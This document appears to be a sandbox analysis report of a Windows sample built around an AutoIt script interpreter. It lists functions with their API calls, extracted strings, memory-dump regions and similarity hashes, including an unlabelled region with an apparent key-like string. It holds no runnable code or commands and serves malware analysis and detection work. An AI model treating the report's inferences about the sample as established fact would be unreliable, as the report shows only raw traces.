PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D50A5B
timeGetTime.WINMM ref: 00D50D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D50E53
Sleep.KERNEL32(0000000A), ref: 00D50E61
LockWindowUpdate.USER32(00000000), ref: 00D50EFA
DestroyWindow.USER32 ref: 00D50F06
GetMessageW.USER32 ref: 00D50F20
Sleep.KERNEL32(0000000A,?,?), ref: 00D84E83
TranslateMessage.USER32(?), ref: 00D85C60
DispatchMessageW.USER32(?), ref: 00D85C6E
GetMessageW.USER32 ref: 00D85C82

Strings

pb, xrefs: 00D84F59
@COM_EVENTOBJ, xrefs: 00D854F0
@GUI_CTRLHANDLE, xrefs: 00D84FE4
pb, xrefs: 00D85003
@GUI_WINHANDLE, xrefs: 00D84F8F
@TRAY_ID, xrefs: 00D8578F
@GUI_CTRLID, xrefs: 00D84F3A
pb, xrefs: 00D857B4
pb, xrefs: 00D84FAE

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pb$pb$pb$pb
API String ID: 4212290369-1420604165
Opcode ID: 4947b7747c137806375d0591f0a6684668237799dbd0418b7504ffa21a37443c
Instruction ID: dcb363eb771f53766e86034ab1b1e583d0f571d6332a68bc4c8fe3edbdafefa4
Opcode Fuzzy Hash: 4947b7747c137806375d0591f0a6684668237799dbd0418b7504ffa21a37443c
Instruction Fuzzy Hash: 0FB2A170604741DFDB24EF24C885BAABBE5FF85304F18491DE899972A1DB71E848CB72

Function 00DA9155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DA8F5F: __time64.LIBCMT ref: 00DA8F69

Part of subcall function 00D44EE5: _fseek.LIBCMT ref: 00D44EFD

__wsplitpath.LIBCMT ref: 00DA9234

Part of subcall function 00D640FB: __wsplitpath_helper.LIBCMT ref: 00D6413B

_wcscpy.LIBCMT ref: 00DA9247
_wcscat.LIBCMT ref: 00DA925A
__wsplitpath.LIBCMT ref: 00DA927F
_wcscat.LIBCMT ref: 00DA9295
_wcscat.LIBCMT ref: 00DA92A8

Part of subcall function 00DA8FA5: _memmove.LIBCMT ref: 00DA8FDE
Part of subcall function 00DA8FA5: _memmove.LIBCMT ref: 00DA8FED

_wcscmp.LIBCMT ref: 00DA91EF

Part of subcall function 00DA9734: _wcscmp.LIBCMT ref: 00DA9824
Part of subcall function 00DA9734: _wcscmp.LIBCMT ref: 00DA9837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00DA9452
_wcsncpy.LIBCMT ref: 00DA94C5
DeleteFileW.KERNEL32(?,?), ref: 00DA94FB
CopyFileW.KERNEL32 ref: 00DA9511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00DA9522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00DA9534

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 992e86eb71440f9aecdc562604c1f31673e8a7faf618c08a8426826b37127e57
Instruction ID: 7b5bb69cffb2a7af6c75fb9b0e343a4214fe9bbdacb2b05e7806ff554d971e8b
Opcode Fuzzy Hash: 992e86eb71440f9aecdc562604c1f31673e8a7faf618c08a8426826b37127e57
Instruction Fuzzy Hash: F1C129B1D00229ABDF21DFA5CC95ADEB7BDEF45310F0040AAF609E6151EB309A858F75

Function 00D4708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D44706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00E052F8,?,00D437AE,?), ref: 00D44724

Part of subcall function 00D6050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00D47165), ref: 00D6052D

RegOpenKeyExW.KERNEL32 ref: 00D471A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00D7E8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?), ref: 00D7E909
RegCloseKey.ADVAPI32(?), ref: 00D7E947
_wcscat.LIBCMT ref: 00D7E9A0

Strings

\, xrefs: 00D7E9C3
\Include\, xrefs: 00D47165
Software\AutoIt v3\AutoIt, xrefs: 00D4719E
Include, xrefs: 00D7E8BF, 00D7E900

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: f55e031e31ebf177617d9d2f9dc47d5d2491fd36cfbe75e02fc935922899305f
Instruction ID: 60c9f46c297d8f371afb2f604919d1b0a98bfe3d1026ff9d61397526911720f0
Opcode Fuzzy Hash: f55e031e31ebf177617d9d2f9dc47d5d2491fd36cfbe75e02fc935922899305f
Instruction Fuzzy Hash: 207172715083019FC704EF26EC41AABBBE8FF88310B44492EF545971B1EB719998CB71

Function 00D43A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00D43A50
LoadCursorW.USER32 ref: 00D43A5F
LoadIconW.USER32 ref: 00D43A76
LoadIconW.USER32 ref: 00D43A88
LoadIconW.USER32 ref: 00D43A9A
LoadImageW.USER32 ref: 00D43AC0
RegisterClassExW.USER32(?), ref: 00D43B16

Part of subcall function 00D43041: GetSysColorBrush.USER32 ref: 00D43074
Part of subcall function 00D43041: RegisterClassExW.USER32(00000030), ref: 00D4309E
Part of subcall function 00D43041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D430AF
Part of subcall function 00D43041: InitCommonControlsEx.COMCTL32(?), ref: 00D430CC
Part of subcall function 00D43041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D430DC
Part of subcall function 00D43041: LoadIconW.USER32 ref: 00D430F2
Part of subcall function 00D43041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D43101

Strings

#, xrefs: 00D43AFB
AutoIt v3, xrefs: 00D43B05
0, xrefs: 00D43AF4

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 63af1e62e4b5de487008e4a62de8a3a3314405a00f334cbca9c0d83b6475e228
Instruction ID: 525c219901ae6c75cf30178ea457061cd836592f6765240c618f93287ae1ac9e
Opcode Fuzzy Hash: 63af1e62e4b5de487008e4a62de8a3a3314405a00f334cbca9c0d83b6475e228
Instruction Fuzzy Hash: BA212A72900309AFEB11DFA5EC09B9E7FB1EB08711F100119F504B62B1D3B655988FA4

Function 00D43766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/AutoIt3ExecuteLine, xrefs: 00D438A7
/ErrorStdOut, xrefs: 00D4387D
CMDLINERAW, xrefs: 00D437FB
/AutoIt3OutputDebug, xrefs: 00D43892
CMDLINE, xrefs: 00D43822
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00D437AE
/AutoIt3ExecuteScript, xrefs: 00D438BC
R, xrefs: 00D7D213

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$R
API String ID: 1825951767-347772802
Opcode ID: 9eec894646505af898bfe7168073373b1fc89f423f626b58971f1dccfbb71fe4
Instruction ID: ae5fc9ed34c14ccb0c0e738a3dd9fbe3702e5ec45acc28b989ae6c6935aa6d39
Opcode Fuzzy Hash: 9eec894646505af898bfe7168073373b1fc89f423f626b58971f1dccfbb71fe4
Instruction Fuzzy Hash: C0A13872910219ABCF04EBA4DC95AEEB779FF15310F44052AF416B7192EF749A48CBB0

Function 00D43633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00D436D2
KillTimer.USER32 ref: 00D436FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D4371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D4372A
CreatePopupMenu.USER32 ref: 00D4373E
PostQuitMessage.USER32(00000000), ref: 00D4374D

Strings

TaskbarCreated, xrefs: 00D43725

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: b0bfecb78e3df9b8a06ab1fb044fe6f94a675782e02a1c81022befc4c322347a
Instruction ID: 9fc67cc320a0e81d6a42205206c492ac7745634da5593b8694b353e6b532630e
Opcode Fuzzy Hash: b0bfecb78e3df9b8a06ab1fb044fe6f94a675782e02a1c81022befc4c322347a
Instruction Fuzzy Hash: 874107B2200607EFDF146F6CDC0EBBA3666EB00340F584125F946A63E2DA619E949B71

Function 009940E8 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 009941B9
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 009943DF

Memory Dump Source

Source File: 00000005.00000002.486369482.0000000000991000.00000040.00000020.00020000.00000000.sdmp, Offset: 00991000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_991000_ghxtg8op.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
Instruction ID: bc7c4de97dfbc4766a9c251b37f243d7e04a6864eb701245eac88faabc8e1dca
Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
Instruction Fuzzy Hash: 1FA11774E00209EBDF15CFA8C985FEEB7B5BF48305F208559E615BB280D7799A81CB90

Function 00D4F76F Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D60162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00D60193
Part of subcall function 00D60162: MapVirtualKeyW.USER32(00000010,00000000), ref: 00D6019B
Part of subcall function 00D60162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00D601A6
Part of subcall function 00D60162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00D601B1
Part of subcall function 00D60162: MapVirtualKeyW.USER32(00000011,00000000), ref: 00D601B9
Part of subcall function 00D60162: MapVirtualKeyW.USER32(00000012,00000000), ref: 00D601C1

Part of subcall function 00D560F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00D4F930), ref: 00D56154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00D4F9CD
OleInitialize.OLE32(00000000), ref: 00D4FA4A
CloseHandle.KERNEL32(00000000), ref: 00D845C8

Strings

\T, xrefs: 00D4F7F7
S, xrefs: 00D4F7EB
<W, xrefs: 00D4F930

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <W$\T$S
API String ID: 1986988660-80204951
Opcode ID: fe83b25942b4cebba031d843173126d31e6f1b25aa9552398dff5e1f844ba958
Instruction ID: 3b40b4f7f771125dc155a312cac9f2276cb33e3936b4ab01eab1e65d8e81c142
Opcode Fuzzy Hash: fe83b25942b4cebba031d843173126d31e6f1b25aa9552398dff5e1f844ba958
Instruction Fuzzy Hash: E281D1B2801B40CFC784DF6AAC4569B7BE5FB98306754912AD42AE7361E77648CC8F21

Function 00D439D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00D43A03
CreateWindowExW.USER32 ref: 00D43A24
ShowWindow.USER32(00000000), ref: 00D43A38
ShowWindow.USER32(00000000), ref: 00D43A41

Strings

edit, xrefs: 00D43A1E
AutoIt v3, xrefs: 00D439FB, 00D43A00, 00D43A01

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: b53b1c3685c0d73f921edd50ec82828c1761eb0fb6f93b6c3b8982cc1cd407b5
Instruction ID: 14b46fc2f2b26b26be92a1e32c5a18218ca730e4461bcb4107dec8a06797a290
Opcode Fuzzy Hash: b53b1c3685c0d73f921edd50ec82828c1761eb0fb6f93b6c3b8982cc1cd407b5
Instruction Fuzzy Hash: F2F0DA72541695BFEA3157276C4DF6B2E7EDBC6F50B00412EB904F22B0C6721895DEB0

Function 00993EB8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 143
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00993DA8: Sleep.KERNELBASE(000001F4), ref: 00993DB9

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00993FD6

Strings

K07L25CJ2DRME, xrefs: 00994039, 0099403C

Memory Dump Source

Source File: 00000005.00000002.486369482.0000000000991000.00000040.00000020.00020000.00000000.sdmp, Offset: 00991000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_991000_ghxtg8op.jbxd

Similarity

API ID: CreateFileSleep
String ID: K07L25CJ2DRME
API String ID: 2694422964-835341977
Opcode ID: ad437d35e296375cba8f4e0f471cbaf24887b03f33d6e9a8143bde40257624d7
Instruction ID: 1c32745ca408c755a9a1782df8626c5a0054baff834a4271c5f48407edb29c9b
Opcode Fuzzy Hash: ad437d35e296375cba8f4e0f471cbaf24887b03f33d6e9a8143bde40257624d7
Instruction Fuzzy Hash: F1519171D04249EBEF21DBB8C855BEEBB79AF59300F004599E609BB2C0D7790B05CBA5

Function 00D4407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00D7D3D7

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

_memset.LIBCMT ref: 00D440FC
_wcscpy.LIBCMT ref: 00D44150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00D44160

Strings

Line: , xrefs: 00D7D400

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 924b73db2694998b13a8c64c27e05b49fea7e085208deae81377ee7f68370dc7
Instruction ID: d342d3014c6b7e8e4a93ed3e92a4b21cf6ceef70fcf7e4e0f94a842c1e33b8af
Opcode Fuzzy Hash: 924b73db2694998b13a8c64c27e05b49fea7e085208deae81377ee7f68370dc7
Instruction Fuzzy Hash: 8731A172008705AFD721EB60DC46FEB77E8EF44310F14451EF589A21A1EB709688CBB2

Function 00D6541D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00D6547B
_memcpy_s.LIBCMT ref: 00D654ED
__read_nolock.LIBCMT ref: 00D6554B
__filbuf.LIBCMT ref: 00D6556E
_memset.LIBCMT ref: 00D655B2

Part of subcall function 00D68B28: __getptd_noexit.LIBCMT ref: 00D68B28

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 2ae4adc1162bedfe6bc9a4b740345a455ff32de3de61d0c655ced6f3c4ec0989
Instruction ID: d8ba2ff9678fc9d46f31e3e01224b78ba18f6ad96c415bd17a3b6fc5e97f9729
Opcode Fuzzy Hash: 2ae4adc1162bedfe6bc9a4b740345a455ff32de3de61d0c655ced6f3c4ec0989
Instruction Fuzzy Hash: CD51B870A00B05DBCB24CF69E84466E77A6EF40321F288769F876962D8DB71DDD08B70

Function 00D4686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D44DDD: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00E052F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00D44E0F

_free.LIBCMT ref: 00D7E263
_free.LIBCMT ref: 00D7E2AA

Part of subcall function 00D46A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00D46BAD

Strings

Bad directive syntax error, xrefs: 00D7E292
>>>AUTOIT SCRIPT<<<, xrefs: 00D7E039

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 420e196265a87edfc225ab749a7c4ea142144fde0953fe293c7d12f44d5bbc5a
Instruction ID: ae0ca498496fb65b94307cb7f41618eea0cbce943fdf1ca67218ed38fc737370
Opcode Fuzzy Hash: 420e196265a87edfc225ab749a7c4ea142144fde0953fe293c7d12f44d5bbc5a
Instruction Fuzzy Hash: CB9160719002199FCF04EFA4CC919EDB7B9FF09310F148469F81AAB2A2EB719945CB70

Function 00D435B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32 ref: 00D435D4
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00D435F5
RegCloseKey.ADVAPI32(00000000), ref: 00D43617

Strings

Control Panel\Mouse, xrefs: 00D435D2

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: ed1829bc00798a8ecbda3036d878ed25fc3d76af8036f999efcb163d05edc541
Instruction ID: e46b1f365048463a0c9b2a32740bf2042e3a3a60c745d70dc32977cb87778b23
Opcode Fuzzy Hash: ed1829bc00798a8ecbda3036d878ed25fc3d76af8036f999efcb163d05edc541
Instruction Fuzzy Hash: 3E11577161020ABFDB209F68DC80EEEBBB9EF04740F128469F805D7210E2719F40ABB0

Function 00DA955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00D44EE5: _fseek.LIBCMT ref: 00D44EFD

Part of subcall function 00DA9734: _wcscmp.LIBCMT ref: 00DA9824
Part of subcall function 00DA9734: _wcscmp.LIBCMT ref: 00DA9837

_free.LIBCMT ref: 00DA96A2
_free.LIBCMT ref: 00DA96A9
_free.LIBCMT ref: 00DA9714

Part of subcall function 00D62D55: HeapFree.KERNEL32(00000000,00000000), ref: 00D62D69
Part of subcall function 00D62D55: GetLastError.KERNEL32(00000000,?,00D69A24), ref: 00D62D7B

_free.LIBCMT ref: 00DA971C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: f859ffca5ba2b4a0eea839192ff175ec825e65a9e51aeda56b8df4c59dab3bfe
Instruction ID: 6e187475401ebaa6de85411c421647379216d3df3cc4a7ff6e26a9b3cecd2003
Opcode Fuzzy Hash: f859ffca5ba2b4a0eea839192ff175ec825e65a9e51aeda56b8df4c59dab3bfe
Instruction Fuzzy Hash: 6B514EB1D14258ABDF259F64DC81BAEBB79EF49300F1004AEF609A3241DB715A80CF78

Function 00D6470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

